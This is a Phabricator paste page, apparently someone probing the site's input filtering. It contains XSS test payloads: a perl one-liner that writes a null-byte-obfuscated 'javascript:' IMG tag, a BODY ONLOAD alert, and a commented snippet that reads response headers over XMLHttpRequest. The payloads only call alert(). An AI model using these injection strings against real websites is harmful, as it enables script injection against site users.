Page MenuHomePhabricator
Paste P1277

perl -e 'print "<IMG SRC=java\0script:alert(\"XSS\")>";' > out
ActivePublic

Authored by JordanJoens on Oct 4 2014, 3:33 AM.
Tags
None
Referenced Files
F212312: perl_-e_print_IMG_SRC_java_0script:alert(_XSS_)_;_out
Oct 4 2014, 3:33 AM
Subscribers
None
perl -e 'print "<IMG SRC=java\0script:alert(\"XSS\")>";' > out

Event Timeline

JordanJoens changed the title of this paste from untitled to perl -e 'print "<IMG SRC=java\0script:alert(\"XSS\")>";' > out.
JordanJoens updated the paste's language from autodetect to autodetect.

<BODY ONLOAD=alert('XSS')>

Added comments
var xmlhttp = new XmlHttpRequest();
xmlhttp.open("HEAD", "/test/this/page.php",true);
Make async HEAD request (must be a relative path to avoid cross-domain restrictions)
xmlhttp.onreadystatechange=function() {

if (xmlhttp.readyState==4) { // make sure the request is complete
 alert(xmlhttp.getAllResponseHeaders()) // display the headers
}

}
xmlhttp.send(null); // send request